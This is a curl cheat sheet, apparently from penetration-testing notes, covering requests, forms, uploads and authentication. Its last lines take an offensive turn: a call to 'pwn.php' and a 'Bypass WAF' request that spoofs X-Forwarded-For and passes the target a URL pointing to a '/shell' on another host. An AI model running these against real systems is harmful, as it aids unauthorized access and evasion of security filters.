Curl
Transfer a URL
CURL is a tool to transfer data from or to a server, using one of the supported protocols
DICT, FILE, FTP, FTPS, GOPHER, HTTP, HTTPS, IMAP, IMAPS, LDAP, LDAPS, POP3,
POP3S, RTMP, RTSP, SCP, SFTP, SMB, SMBS, SMTP, SMTPS, TELNET and TFTP
The command is designed to work without user interaction.
curl:
-v: verbose
-F: file upload
-X: make a request
Examples
##### GET example #####
curl http://www.example.com
##### GET example with hidden info #####
curl -i http://www.example.com
##### HEAD example #####
curl --head http://www.example.com
or
curl -I http://www.example.com
##### Multiple URL's #####
curl http://url1.example.com http://url2.example.com
##### Trace all connections: more than verbose #####
curl --trace-ascii output_filename.txt http://www.example.com
##### Saves output to a file #####
curl http://www.example.com -O output_filename.txt
##### Passing username:password #####
curl http://user:password@example.org/
or
curl -u user:password http://example.org/
Get-form
<form method="GET" action="junk.cgi">
<input type=text name="birthyear">
<input type=submit name=press value="OK">
</form>
curl "http://www.hotmail.com/when/junk.cgi?birthyear=1905&press=OK"
Post-form
<form method="POST" action="junk.cgi">
<input type=text name="birthyear">
<input type=submit name=press value=" OK ">
</form>
curl --data "birthyear=1905&press=%20OK%20" http://www.example.com/when.cgi
File Upload Post
<form method="POST" enctype='multipart/form-data' action="upload.cgi">
<input type=file name=upload>
<input type=submit name=press value="OK">
</form>
curl --form upload=@localfilename --form press=OK [URL]
Hidden fields
<form method="POST" action="foobar.cgi">
<input type=text name="birthyear">
<input type=hidden name="person" value="daniel">
<input type=submit name="press" value="OK">
</form>
curl --data "birthyear=1905&press=OK&person=daniel" [URL]
Put
curl --upload-file uploadfile http://www.example.com/receive.cgi
Location header
##### Follows redirection #####
curl --location http://www.example.com
User-Agent
curl -A "user-agent-name" -L 10.10.10.10
-A: sets the user-agent
-L: follows the redirection
Authenticate through CLI
curl -u 'username':'password' http://10.10.10.10:8080/path/to/page
curl http://username:password@10.10.10.10:8080/login
curl -X POST http://10.10.10.10:8080/login -d 'user=username&password=password'
curl -X POST http://10.10.10.10:8080/login -d 'username=username&password=password'
JSON Web Token:
curl http://10.10.10.10:8080/login -H 'Authorisation: Bearer token_here'
curl -s http://10.10.10.10:8080/users/1 -H 'Authorisation: Bearer token_here'
curl -s http://10.10.10.10:8080/users/Admin -H 'Authorisation: Bearer token_here'
Curl Call
curl --user username:password 10.10.10.10/pwn.php
Bypass WAF and pass data
curl -X POST http://10.10.10.10/some_content -H "Content-Type: application/json" -H "X-Forwarded-For: localhost" --data ‘{"user":"myusername","url":"http://10.10.10.20/shell"}’
Last updated